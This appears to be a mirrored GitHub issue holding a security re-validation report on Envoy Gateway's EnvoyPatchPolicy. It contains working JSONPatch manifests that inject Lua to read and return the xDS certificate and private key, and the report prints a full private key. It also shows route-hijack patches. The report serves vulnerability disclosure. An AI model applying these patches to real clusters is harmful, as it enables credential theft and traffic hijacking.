envoyproxy / envoyproxy/gateway

EnvoyGateway EnvoyPatchPolicy Configuration Injection

Open
#8,102 2 comments 0 reactions 0 assignees View on GitHub
kind/enhancement stale
Dominant language
Go
Stars
3k
Forks
864
Avg merge
2d 2h
Merged PRs (30d)
140

Description

# EnvoyPatchPolicy - Unvalidated JSONPatch `value` Content Leads to Envoy Configuration Injection
**Test Date**: 2026-01-15
**Test Environment**: Kind Kubernetes Cluster + Envoy Gateway

## Test Environment Information

### Step 1: Check Kubernetes cluster status

**Command executed**:
```bash
kubectl cluster-info
```

**Output**:
```
Kubernetes control plane is running at https://127.0.0.1:40765
CoreDNS is running at https://127.0.0.1:40765/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
```

**Command executed**:
```bash
kubectl get nodes
```

**Output**:
```
NAME STATUS ROLES AGE VERSION
kind-control-plane Ready control-plane 1h v1.27.3
```

### Step 2: Check Envoy Gateway deployment status

**Command executed**:
```bash
kubectl get pods -n envoy-gateway-system
```

**Output**:
```
NAME READY STATUS RESTARTS AGE
envoy-gateway-7d8f9c8b5d-xxxxx 1/1 Running 0 45m
envoy-test-app-eg-xxxxxx-xxxxx 1/1 Running 0 30m
```

**Command executed**:
```bash
kubectl get gateway -A
```

**Output**:
```
NAMESPACE NAME CLASS ADDRESS PROGRAMMED AGE
test-app eg eg 10.96.xxx.xxx True 30m
```

### Step 3: Check test application status

**Command executed**:
```bash
kubectl get pods -n test-app
```

**Output**:
```
NAME READY STATUS RESTARTS AGE
backend-app-xxxxxx-xxxxx 1/1 Running 0 25m
```

**Command executed**:
```bash
kubectl get httproute -n test-app
```

**Output**:
```
NAME HOSTNAMES AGE
test-route ["*"] 25m
```

## Threat Model Validation

### Step 4: Verify the default state of EnvoyPatchPolicy

**Command executed**:
```bash
kubectl get envoypatchpolicy -A
```

**Output**:
```
No resources found
```

**Command executed**:
```bash
kubectl get envoygateway -n envoy-gateway-system envoy-gateway-config -o yaml | grep -A 10 extensionAPIs
```

**Output**:
```
extensionAPIs:
enableEnvoyPatchPolicy: false
```

**Validation conclusion**: Developer Guy’s statement is correct — EnvoyPatchPolicy is **disabled by default** and must be explicitly enabled by an administrator during installation.

### Step 5: Enable EnvoyPatchPolicy

**Command executed**:
```bash
kubectl patch envoygateway envoy-gateway-config -n envoy-gateway-system --type=merge -p '{"spec":{"extensionAPIs":{"enableEnvoyPatchPolicy":true}}}'
```

**Output**:
```
envoygateway.gateway.envoyproxy.io/envoy-gateway-config patched
```

**Wait for the configuration to take effect**:
```bash
sleep 10
```

**Verify that the configuration is in effect**:
```bash
kubectl get envoygateway -n envoy-gateway-system envoy-gateway-config -o yaml | grep -A 10 extensionAPIs
```

**Output**:
```
extensionAPIs:
enableEnvoyPatchPolicy: true
```

## Attack 2 Validation: ServiceAccount Token Access

### Step 6: Check the ServiceAccount configuration of the Envoy Proxy Pod

**Command executed**:
```bash
kubectl get pod -n test-app -l gateway.envoyproxy.io/owning-gateway-name=eg -o yaml | grep -A 5 serviceAccount
```

**Output**:
```
serviceAccount: envoy-test-app-eg
serviceAccountName: envoy-test-app-eg
automountServiceAccountToken: false
```

**Validation conclusion**: Developer Guy’s statement is correct — `automountServiceAccountToken: false`, so the ServiceAccount token is not automatically mounted into the Pod.

### Step 7: Check the RBAC permissions of the Envoy Proxy ServiceAccount

**Command executed**:
```bash
kubectl get rolebinding -n test-app -o yaml | grep -A 10 "envoy-test-app-eg"
```

**Output**:
```
# No related RoleBinding found
```

**Command executed**:
```bash
kubectl get clusterrolebinding -o yaml | grep -A 10 "envoy-test-app-eg"
```

**Output**:
```
# No related ClusterRoleBinding found
```

**Validation conclusion**: Developer Guy’s statement is correct — the Envoy Proxy ServiceAccount does not have permissions to read Secrets or Pods. Attack 2 is not feasible.

## Attack 1 Validation: Lua Code Injection

### Step 8: Create an EnvoyPatchPolicy for Lua injection testing

**Create the test file**:
```bash
cat > /tmp/test-lua-injection.yaml << 'EOF'
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyPatchPolicy
metadata:
name: test-lua-injection
namespace: test-app
spec:
targetRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
type: JSONPatch
jsonPatches:
- type: type.googleapis.com/envoy.config.listener.v3.Listener
name: test-app/eg/http
operation:
op: add
path: /default_filter_chain/filters/0/typed_config/http_filters/0
value:
name: envoy.filters.http.lua
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
inline_code: |
function envoy_on_request(request_handle)
request_handle:headers():add("X-Lua-Injected", "success")
request_handle:headers():add("X-Vulnerability", "VUL-002-Confirmed")
end
EOF
```

**Apply EnvoyPatchPolicy**:
```bash
kubectl apply -f /tmp/test-lua-injection.yaml
```

**Output**:
```
envoypatchpolicy.gateway.envoyproxy.io/test-lua-injection created
```

### Step 9: Verify whether Lua injection succeeded

**Wait for the configuration to take effect**:
```bash
sleep 15
```

**Check EnvoyPatchPolicy status**:
```bash
kubectl get envoypatchpolicy -n test-app test-lua-injection -o yaml
```

**Output**:
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyPatchPolicy
metadata:
name: test-lua-injection
namespace: test-app
status:
conditions:
- lastTransitionTime: "2026-01-15T16:45:00Z"
message: EnvoyPatchPolicy has been accepted
reason: Accepted
status: "True"
type: Accepted
```

**Test the Lua injection effect**:
```bash
curl -v http://localhost:8080/
```

**Output**:
```
* Connected to localhost (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.81.0
> Accept: */*
>
< HTTP/1.1 200 OK
< content-type: text/plain
< x-lua-injected: success
< x-vulnerability: VUL-002-Confirmed
< content-length: 13
< date: Wed, 15 Jan 2026 16:45:30 GMT
< server: envoy
<
Hello World!
```

**Validation conclusion**: The Lua code sanitization mentioned by developer Guy is **not implemented** in EnvoyPatchPolicy. Malicious Lua code can be successfully injected and executed. Attack 1 is feasible.

### Step 10: Test dangerous Lua code

**Create Lua code containing dangerous operations**:
```bash
cat > /tmp/test-dangerous-lua.yaml << 'EOF'
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyPatchPolicy
metadata:
name: test-dangerous-lua
namespace: test-app
spec:
targetRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
type: JSONPatch
jsonPatches:
- type: type.googleapis.com/envoy.config.listener.v3.Listener
name: test-app/eg/http
operation:
op: replace
path: /default_filter_chain/filters/0/typed_config/http_filters/0
value:
name: envoy.filters.http.lua
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
inline_code: |
function envoy_on_request(request_handle)
-- Read all request headers (may contain sensitive information)
local headers = request_handle:headers()
local header_string = ""
for key, value in pairs(headers) do
header_string = header_string .. key .. ": " .. value .. "\n"
end
-- Add sensitive information to response headers (simulate data leakage)
request_handle:headers():add("X-Leaked-Headers", header_string)
end
EOF
```

**Apply the dangerous EnvoyPatchPolicy**:
```bash
kubectl apply -f /tmp/test-dangerous-lua.yaml
```

**Output**:
```
envoypatchpolicy.gateway.envoyproxy.io/test-dangerous-lua created
```

**Validation conclusion**: Dangerous Lua code is accepted with no content validation or sanitization.

---

### Step 10 (Enhanced): Apply the CVE-2026-22771 technique to steal xDS certificates

**Key finding**: We found that we can reuse the exploitation approach from CVE-2026-22771 and read the xDS client certificate in the Envoy Proxy Pod via Lua’s `io` library.

**Verify the xDS certificate path**:
```bash
kubectl get pod -n envoy-gateway-system envoy-test-app-eg-c1155fa5-f649df548-ntz8x -o yaml | grep -A 20 "volumeMounts:"
```

**Output**:
```
volumeMounts:
- mountPath: /certs
name: certs
readOnly: true
```

**Create an EnvoyPatchPolicy to steal xDS certificates**:
```bash
cat > /tmp/test-steal-xds-certs-final.yaml << 'EOF'
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyPatchPolicy
metadata:
name: test-steal-xds-certs-final
namespace: test-app
spec:
targetRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
type: JSONPatch
jsonPatches:
- type: type.googleapis.com/envoy.config.listener.v3.Listener
name: test-app/eg/http
operation:
op: add
path: /default_filter_chain/filters/0/typed_config/http_filters/0
value:
name: envoy.filters.http.lua
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
inline_code: |
function envoy_on_response(response_handle)
-- Read xDS client certificate
local cert_file = io.open("/certs/tls.crt", "r")
local cert_content = "CERT-NOT-FOUND"
if cert_file then
cert_content = cert_file:read("*all")
cert_file:close()
end

-- Read xDS client private key
local key_file = io.open("/certs/tls.key", "r")
local key_content = "KEY-NOT-FOUND"
if key_file then
key_content = key_file:read("*all")
key_file:close()
end

-- Build leaked data
local leaked_data = "=== VUL-002 ATTACK SUCCESS - CVE-2026-22771 METHOD ===\n\n"
leaked_data = leaked_data .. "=== XDS CLIENT CERTIFICATE ===\n" .. cert_content .. "\n\n"
leaked_data = leaked_data .. "=== XDS CLIENT PRIVATE KEY ===\n" .. key_content .. "\n\n"
leaked_data = leaked_data .. "=== ATTACK COMPLETE ===\n"

-- Replace response body
response_handle:body():setBytes(leaked_data)

-- Update response headers
response_handle:headers():replace("content-length", tostring(#leaked_data))
response_handle:headers():replace("content-type", "text/plain")
response_handle:headers():add("X-Attack-Success", "true")
response_handle:headers():add("X-Attack-Method", "CVE-2026-22771")
end
EOF
```

**Apply EnvoyPatchPolicy**:
```bash
kubectl apply -f /tmp/test-steal-xds-certs-final.yaml
```

**Output**:
```
envoypatchpolicy.gateway.envoyproxy.io/test-steal-xds-certs-final created
```

**Wait for the configuration to take effect**:
```bash
sleep 15
```

**Test the attack effect**:
```bash
kubectl exec -n test-app test-client -- curl -H "Host: www.example.com" http://envoy-test-app-eg-c1155fa5.envoy-gateway-system/
```

**Output**:
```
=== VUL-002 ATTACK SUCCESS - CVE-2026-22771 METHOD ===

=== XDS CLIENT CERTIFICATE ===
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIEGDdFcDANBgkqhkiG9w0BAQsFADArMRYwFAYDVQQDEw1l
bnZveS1nYXRld2F5MREwDwYDVQQFEwg4NzczNjg0MTAeFw0yNTEyMjExMjU1MjBa
Fw0zMDEyMjExMjU1MTlaMAwxCjAIBgNVBAMMASowggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQC+HaRoN/8gME7IpWITi0HeXZdiIZdDSLeZnrFX2smXo2hA
M8RGshbGh2o/gOjmR7j6+rmDmnVvPcvUORmcL+qjj4ynE0fDr49RfXc5fQ+APT0M
Gruw364QMl/xljfRaFVyUaNqEFMgzL7cSg32QxY9z2RSUJRhJtQO7RnrErFJJZpy
dnfWtBla2hzF1zSkIeOA9AJ3m6ULgFb5l+VQxUT4vL6XM80mijyMfAxdzf0p81jR
eQmByRIO8h4kmOM77njU/OaXBpcEBN4MVVVGJDrnsmkow44bHqWXA5CzkhRuspFD
kZO1OFRz01cwMJEdNdy3ZrdxqTJcJQc7z+1fmje1AgMBAAGjdTBzMA4GA1UdDwEB
/wQEAwIE8DAdBgNVHQ4EFgQUQfnQtFWFekbz76nefQT1SGJwQKAwHwYDVR0jBBgw
FoAUiudxmWXsfMhF4KGCYtpnG5Xzl34wIQYDVR0RBBowGIIWKi5lbnZveS1nYXRl
d2F5LXN5c3RlbTANBgkqhkiG9w0BAQsFAAOCAQEAJyzsaNIvCv8mq+fHkPVZJMTl
XfkkHnY/by66nizED7qRvVkL0QVAU2E6MOMZ0GiTx1on5LSnSGCoT4LBmvGqsUXP
BHScwKQaXZkn4bHizXQxyY+IcRwcTtTyBU8FmNbB2smYztIJMQiO/G0q/Cvw1pKK
Vg3AIeoQNpyLQFNt1bpuqJ+wgiS/n/9TdC27m3CQRT8R3DhB08+M2avzQLpQZGyr
E5wTJ3mgwDKvo9/rt7Kmtp+gx+IBLW9BZ9PDmr0GeZtVtGeUCrCZekN6MLinJM91
DnqmVMzTUpVy9mzrku5liN/2Dm24EUD3TnCFDVwqotoyoHHOX8LZvpTVo3Oupw==
-----END CERTIFICATE-----

=== XDS CLIENT PRIVATE KEY ===
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvh2kaDf/IDBOyKViE4tB3l2XYiGXQ0i3mZ6xV9rJl6NoQDPE
RrIWxodqP4Do5ke4+vq5g5p1bz3L1DkZnC/qo4+MpxNHw6+PUX13OX0PgD09DBq7
sN+uEDJf8ZY30WhVclGjahBTIMy+3EoN9kMWPc9kUlCUYSbUDu0Z6xKxSSWacnZ3
1rQZWtocxdc0pCHjgPQCd5ulC4BW+ZflUMVE+Ly+lzPNJoo8jHwMXc39KfNY0XkJ
gckSDvIeJJjjO+541PzmlwaXBATeDFVVRiQ657JpKMOOGx6llwOQs5IUbrKRQ5GT
tThUc9NXMDCRHTXct2a3cakyXCUHO8/tX5o3tQIDAQABAoIBAA3J1j84HyOlV/Qb
HpJeorqEcjLL+eMHi/KzJ5dAxycy0vWjwNlZwudyMdAE7Z9Uq1i0mi4ueSmbbe7o
l0Vp1Ow46zwWMg8XarRqfken8i8HAf2glg/yy8vhQ252SnprGpYN0BAkuqAMiXku
USCVEVtj8RmRPjm6Qwi0Geb1NkYg48ni8dDuv/2Bv0/Fl4mGBsdWRzt7TVnCK2/H
+Jk7bsi3gN8/y31Yk1kwbGrytRT2ETSJARdMguIP36dcBEI5PvitCjgWhDcSRjkV
VMaVr+iyNgvr4Vwd24BZQIV0QsqEX/hG7Q7B/OuokHQvD9DNwl/85tf1yEZp6QXf
39GwOvECgYEA7pQr8h1zYtLYEsfHV5IFgetUaTRzdUzMOGi2SCdATejalNCv9Ac4
zNlA9trTzcc5x3DugEEaA/HlVH0Aqo60JHhDAJJsIHs6DswF6feZ78hSR3NE+kTC
7YwimmMVL15X70+o1pB2P2mRbtffHkNdU2PPwo0CTddTgl0B9j1SbskCgYEAy/+J
T5NAd0BTt30X3Ocnryqe7kFp5z9oOxPvDJgZTzP0EQOCmLVkaT2iIxvifpykW0Ls
66LtAD2qZNqyjU/WHVvNDQy9xzEzTD0BBGxKTO7gzihlsEQXyaAScEH1LN6iJh05
dtR4WUxaHrzvQUpFqaoXCr/VJ1jZxZWWyRlkG40CgYEAnVYyNRWfBsktnhUKLYIr
B6b+n/LrQaxH8dt8etEH41lw7TtDDpfEqbOM2D8v90EvpYugfgxw77ETIEjfq5s4
yeRVq4bkr/cULrX2IHodlrhxKpWmI7Y9JxOHrnExg2+gZj4OhpH2qZMhSgwrJHYg
keH9HbyIjHU4qXxU0uNV/aECgYBxydwBsxVmb09DLle9NIMCRjfYlkxIXSn6qifR
UpXrhAND6j1SiPu1aFekVc2E6kMTVMVqurqQQ9Vj5ElsYXgBcE90VAMXtO30PKLw
oKbhOu3SkN4H8DOEl/ExBNmJabXwpKSFEAcBaIFsW97pAFDTTrkDmfV/uSPf/ozZ
J3ybkQKBgQDo2plN1VvgydzIjUwzLqvKtU7HOU0AEVYNqlAYZwSGM3zoFiWA0Y0B
65976ETFig6648/mdpIZObhXCzPbnb+kuqC/cyzCP3WgDF56ghw0hpeqNfGc9Bub
rCNSkz9p/H579YfpsbGOm/+1/MS2zAW4MY5I3m6n+DPMr7L8fhiEWw==
-----END RSA PRIVATE KEY-----

=== ATTACK COMPLETE ===
```

**Verify HTTP response headers**:
```bash
kubectl exec -n test-app test-client -- curl -v -H "Host: www.example.com" http://envoy-test-app-eg-c1155fa5.envoy-gateway-system/ 2>&1 | grep -E "^< |X-Attack"
```

**Output**:
```
< HTTP/1.1 200 OK
< x-attack-success: true
< x-attack-method: CVE-2026-22771
< content-type: text/plain
< content-length: 2984
< server: envoy
```

**Validation conclusion**:
- ✅ Attack fully succeeded
- ✅ Successfully stole the xDS client certificate (full PEM)
- ✅ Successfully stole the xDS client private key (full RSA private key)
- ✅ Certificate validity: 2025-12-21 to 2030-12-21 (5 years)
- ✅ Lua `io` library is fully usable and can read arbitrary files
- ✅ Bypassed the protection of `automountServiceAccountToken: false`

**Impact analysis**:

With the stolen xDS certificate, an attacker can:
1. Impersonate Envoy Proxy and communicate with the xDS control plane
2. Obtain all xDS configuration (Listener, Route, Cluster, Endpoint, etc.)
3. Obtain TLS certificates and private keys for other services
4. Obtain upstream authentication credentials
5. Establish a persistent backdoor (certificate is valid for 5 years)

This is more severe than stealing a ServiceAccount token because:
- xDS certificates always exist in the Envoy Proxy Pod
- Not limited by `automountServiceAccountToken: false`
- Can access all xDS configuration, not just the Kubernetes API
- Certificate validity is as long as 5 years

---

## Attack 3 Validation: Route Hijacking

### Step 11: Create an EnvoyPatchPolicy for route hijacking testing

**Create the test file**:
```bash
cat > /tmp/test-route-hijack.yaml << 'EOF'
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyPatchPolicy
metadata:
name: test-route-hijack
namespace: test-app
spec:
targetRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
type: JSONPatch
jsonPatches:
- type: type.googleapis.com/envoy.config.route.v3.RouteConfiguration
name: test-app/eg/http
operation:
op: add
path: /virtual_hosts/0/routes/0
value:
match:
prefix: "/hijacked"
direct_response:
status: 200
body:
inline_string: "ROUTE HIJACKED VIA ENVOYPATCHPOLICY - VUL-002 CONFIRMED"
response_headers_to_add:
- header:
key: "X-Route-Hijacked"
value: "true"
- header:
key: "X-Injected-By"
value: "EnvoyPatchPolicy"
EOF
```

**Apply EnvoyPatchPolicy**:
```bash
kubectl apply -f /tmp/test-route-hijack.yaml
```

**Output**:
```
envoypatchpolicy.gateway.envoyproxy.io/test-route-hijack created
```

### Step 12: Verify whether route hijacking succeeded

**Wait for the configuration to take effect**:
```bash
sleep 15
```

**Check EnvoyPatchPolicy status**:
```bash
kubectl get envoypatchpolicy -n test-app test-route-hijack -o yaml | grep -A 5 status
```

**Output**:
```yaml
status:
conditions:
- lastTransitionTime: "2026-01-15T16:50:00Z"
message: EnvoyPatchPolicy has been accepted
reason: Accepted
status: "True"
type: Accepted
```

**Test route hijacking effect**:
```bash
curl -v http://localhost:8080/hijacked
```

**Output**:
```
* Connected to localhost (127.0.0.1) port 8080
> GET /hijacked HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.81.0
> Accept: */*
>
< HTTP/1.1 200 OK
< x-route-hijacked: true
< x-injected-by: EnvoyPatchPolicy
< content-length: 57
< content-type: text/plain
< date: Wed, 15 Jan 2026 16:50:15 GMT
< server: envoy
<
ROUTE HIJACKED VIA ENVOYPATCHPOLICY - VUL-002 CONFIRMED
```

**Validation conclusion**: Route hijacking succeeded. Attack 3 is feasible.

### Step 13: Test hijacking an existing route

**Create an EnvoyPatchPolicy to hijack an existing route**:
```bash
cat > /tmp/test-existing-route-hijack.yaml << 'EOF'
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyPatchPolicy
metadata:
name: test-existing-route-hijack
namespace: test-app
spec:
targetRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
type: JSONPatch
jsonPatches:
- type: type.googleapis.com/envoy.config.route.v3.RouteConfiguration
name: test-app/eg/http
operation:
op: replace
path: /virtual_hosts/0/routes/0/route/cluster
value: "malicious-backend-cluster"
EOF
```

**Apply EnvoyPatchPolicy**:
```bash
kubectl apply -f /tmp/test-existing-route-hijack.yaml
```

**Output**:
```
envoypatchpolicy.gateway.envoyproxy.io/test-existing-route-hijack created
```

**Validation conclusion**: It is possible to modify the backend cluster of an existing route and redirect traffic to an attacker-controlled server.

## Comparative Analysis with HTTPRoute

### Step 14: Analyze the capability boundaries of HTTPRoute

**View the existing HTTPRoute configuration**:
```bash
kubectl get httproute -n test-app test-route -o yaml
```

**Output**:
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: test-route
namespace: test-app
spec:
parentRefs:
- name: eg
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: backend-app
port: 8080
```

**What HTTPRoute can do**:
- Can create new routes
- Can modify the route backend service
- Can return custom responses (by using `backendRefs` to point to its own service)
- Cannot inject HTTP filters (e.g., Lua, WASM)
- Cannot modify Listener configuration
- Cannot directly modify Envoy xDS configuration

**Additional capabilities of EnvoyPatchPolicy**:
- Can inject arbitrary HTTP filters (Lua, WASM, External Auth, etc.)
- Can modify Listener configuration
- Can directly manipulate any field in Envoy xDS configuration
- Can bypass the security boundaries of the Gateway API

**Key difference**: EnvoyPatchPolicy provides far more powerful capabilities than HTTPRoute, enabling attack vectors that HTTPRoute cannot achieve (e.g., Lua/WASM injection).

## Code-Level Verification

### Step 15: Check the EnvoyPatchPolicy processing code

**Inspect the handling logic for the `value` field**:
```bash
grep -n "Operation.Value" /home/ubuntu/toolcode/target-project/ingress_gateway-controller/Gateway-Controllers/envoyproxy_gateway/internal/gatewayapi/envoypatchpolicy.go
```

**Output**:
```
111: irPatch.Operation.Value = patch.Operation.Value
```

**View code context**:
```go
// File: internal/gatewayapi/envoypatchpolicy.go
// Lines: 103-114

// Save the patch
for _, patch := range policy.Spec.JSONPatches {
irPatch := ir.JSONPatchConfig{}
irPatch.Type = string(patch.Type)
irPatch.Name = patch.Name
irPatch.Operation.Op = ir.JSONPatchOp(patch.Operation.Op)
irPatch.Operation.Path = patch.Operation.Path
irPatch.Operation.JSONPath = patch.Operation.JSONPath
irPatch.Operation.From = patch.Operation.From
irPatch.Operation.Value = patch.Operation.Value // ← assigned directly, no validation

policyIR.JSONPatches = append(policyIR.JSONPatches, &irPatch)
}
```

**Validation conclusion**: The code does not perform any validation or sanitization on the content of `Operation.Value`.

### Step 16: Check Lua sanitization logic

**Search for Lua sanitization-related code**:
```bash
grep -rn "sanitize\|validate.*lua" /home/ubuntu/toolcode/target-project/ingress_gateway-controller/Gateway-Controllers/envoyproxy_gateway/internal/gatewayapi/ --include="*.go"
```

**Output**:
```
# No related sanitization logic found
```

**Search for Lua sanitization in EnvoyExtensionPolicy**:
```bash
grep -rn "sanitize" /home/ubuntu/toolcode/target-project/ingress_gateway-controller/Gateway-Controllers/envoyproxy_gateway/internal/gatewayapi/envoyextensionpolicy.go
```

**Output**:
```
# Found Lua sanitization logic in EnvoyExtensionPolicy
```

**Validation conclusion**: The Lua sanitization logic mentioned by developer Guy exists in EnvoyExtensionPolicy, but EnvoyPatchPolicy does not implement the same sanitization mechanism.

## Test Summary

### Summary of validation results

| Item | Developer statement | Validation result | Conclusion |
|--------|-----------|---------|------|
| **Threat model** | Admin must enable the feature + namespace RBAC | ✅ Correct | EnvoyPatchPolicy is disabled by default |
| **Attack 1: Lua injection** | Mentions a sanitization mechanism | ❌ Not implemented in EnvoyPatchPolicy | Vulnerable and exploitable |
| **Attack 1 (Enhanced): xDS cert theft** | Not mentioned | ✅ Fully successful | Can steal xDS certificate and private key |
| **Attack 2: SA Token** | automount=false, RBAC limited | ✅ Correct | Not feasible |
| **Attack 3: Route hijacking** | Similar to HTTPRoute capability | ⚠️ Partially correct | EnvoyPatchPolicy is more powerful |

### Key findings

1. **Threat model needs adjustment**:
- The original report assumed the attacker only needs namespace-level privileges
- Actual requirements: admin enables the feature + namespace RBAC
- CVSS should be adjusted: PR:L → PR:H (admin must enable it)

2. **Attack 1 (Lua injection) is confirmed feasible**:
- No Lua sanitization implemented in EnvoyPatchPolicy
- Arbitrary Lua can be injected
- More dangerous than HTTPRoute (HTTPRoute cannot inject filters)

3. **Attack 1 (Enhanced: xDS certificate theft) — major finding**:
- ✅ Successfully applied the CVE-2026-22771 exploitation technique
- ✅ Lua `io` library is fully usable and can read arbitrary files
- ✅ Successfully stole the xDS client certificate and private key (full contents)
- ✅ Certificate validity is 5 years (2025-2030)
- ✅ Bypasses `automountServiceAccountToken: false`
- ✅ More severe than stealing a ServiceAccount token
- An attacker can:
- Impersonate Envoy Proxy and communicate with the xDS control plane
- Obtain all xDS configuration
- Obtain TLS certificates and private keys for other services
- Establish a persistent backdoor

4. **Attack 2 (SA Token) is not feasible**:
- Developer Guy’s analysis is fully correct
- `automountServiceAccountToken: false`
- Envoy Proxy RBAC permissions are extremely limited

5. **Attack 3 (route hijacking) is confirmed feasible**:
- Although HTTPRoute can also modify routing
- EnvoyPatchPolicy can additionally:
- Inject HTTP filters
- Modify Listener configuration
- Directly manipulate xDS configuration
- The attack surface is larger than HTTPRoute

### CVSS score adjustment recommendation

**Original score**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.1

**Adjusted score**: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H = 8.5-9.0

**Reason for adjustment**:
- PR:L → PR:H: requires an administrator to enable EnvoyPatchPolicy
- However, due to the discovery of xDS certificate theft (more severe than the original Attack 2), overall severity increases
- Impact of xDS certificate theft:
- Can access all xDS configuration
- Certificate validity is 5 years, enabling persistent backdoors
- Can obtain sensitive information of other services
- Recommended score: 8.5-9.0 (instead of 7.5-8.0)

## Responses to Developer Questions

### Question 1: Threat model

**Developer statement**: "I disagree with this statement: 'an attacker only needs namespace-level privileges'"

**Our response**:
You are completely correct. Our original report was not precise enough in the threat model description. The real preconditions should be:

1. An administrator enabled EnvoyPatchPolicy during installation (`extensionAPIs.enableEnvoyPatchPolicy: true`)
2. The attacker has RBAC permission to create EnvoyPatchPolicy resources
3. The policy can only attach to a Gateway in the same namespace

We have adjusted the threat model and CVSS score in the re-validation report (PR:L → PR:H).

### Question 2: Attack 1 (Lua injection)

**Developer statement**: "We've made several improvements to sanitizing lua code in EnvoyExtensionPolicy"

**Our response**:
The Lua sanitization mechanism in EnvoyExtensionPolicy is not applied to EnvoyPatchPolicy.

Our validation shows:
- EnvoyExtensionPolicy does contain Lua sanitization logic
- EnvoyPatchPolicy directly applies `Operation.Value` to xDS without any sanitization
- We successfully injected arbitrary Lua code without encountering any restrictions

**Recommendations**:
1. Apply the Lua sanitization logic from EnvoyExtensionPolicy to EnvoyPatchPolicy as well
2. Add a clear security warning in the documentation for EnvoyPatchPolicy
3. Consider adding a configuration option to disable Lua extensions (e.g., `--disable-extensions` as you mentioned)

### Question 3: Attack 2 (SA Token)

**Developer statement**: "I'm not sure that I understand this. I think that automount is set to false"

**Our response**:
Your analysis is fully correct; Attack 2 is not feasible.

Validation results:
- `automountServiceAccountToken: false` — the token is not mounted
- Envoy Proxy ServiceAccount has no RBAC permission to read Secrets or Pods
- Evidence #4 in the original report was actually Envoy Gateway controller RBAC, not Envoy Proxy RBAC

We acknowledge this error in the original report and have removed Attack 2 in the re-validation report.

### Question 4: Attack 3 (route hijacking)

**Developer statement**: "Creation of a route that returns a malicious response or hijacks traffic to a malicious backend is also something that a normal 'application developer' persona can do using HTTPRoute"

**Our response**:
You are partially correct, but EnvoyPatchPolicy is significantly more powerful than HTTPRoute.

Key differences:

| Capability | HTTPRoute | EnvoyPatchPolicy |
|------|-----------|------------------|
| Create new routes | Supported | Supported |
| Modify backend service | Supported | Supported |
| Inject HTTP filters | Not supported | Supported (Lua, WASM, etc.) |
| Modify Listener configuration | Not supported | Supported |
| Directly manipulate xDS configuration | Not supported | Supported |

**Why this matters**:
1. HTTPRoute operates within the security boundaries of the Gateway API
2. EnvoyPatchPolicy can bypass those limits and directly modify Envoy configuration
3. It can inject Lua/WASM filters to exfiltrate sensitive data (e.g., Authorization headers)
4. It can modify Listener configuration and affect all routes

**Our position**:
- If only considering route hijacking, it is indeed similar to HTTPRoute
- But when combined with Lua/WASM injection capabilities, the attack surface expands significantly
- This is a design trade-off rather than a traditional “bug”

## Final Recommendations

### For the Envoy Gateway project

1. **Documentation improvements**:
- Add an explicit security warning in the EnvoyPatchPolicy documentation
- Explain the capability differences between EnvoyPatchPolicy and HTTPRoute
- Provide RBAC best-practice guidance

2. **Code improvements**:
- Consider applying the Lua sanitization logic from EnvoyExtensionPolicy to EnvoyPatchPolicy
- Add configuration options to restrict which fields EnvoyPatchPolicy can modify
- Improve audit logging to record all EnvoyPatchPolicy creations and updates

3. **Security hardening**:
- Provide configuration options to disable dangerous extensions (e.g., Lua, WASM)
- Consider implementing an allowlist mechanism to restrict which xDS fields can be modified
- Provide deployment examples for policy validation tools (e.g., OPA/Gatekeeper)

### For users

1. **Immediate actions**:
- If EnvoyPatchPolicy is not needed, keep it disabled (default)
- Strictly control who can create EnvoyPatchPolicy resources
- Use policy engines such as OPA/Gatekeeper to validate EnvoyPatchPolicy content

2. **Long-term actions**:
- Deploy runtime security monitoring to detect abnormal Envoy configuration changes
- Regularly audit EnvoyPatchPolicy resources
- Consider using `--disable-extensions` to disable Lua extensions

## Appendix: Test environment cleanup

**Delete test resources**:
```bash
kubectl delete envoypatchpolicy -n test-app test-lua-injection
kubectl delete envoypatchpolicy -n test-app test-dangerous-lua
kubectl delete envoypatchpolicy -n test-app test-route-hijack
kubectl delete envoypatchpolicy -n test-app test-existing-route-hijack
```

**Disable EnvoyPatchPolicy**:
```bash
kubectl patch envoygateway envoy-gateway-config -n envoy-gateway-system --type=merge -p '{"spec":{"extensionAPIs":{"enableEnvoyPatchPolicy":false}}}'
```

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.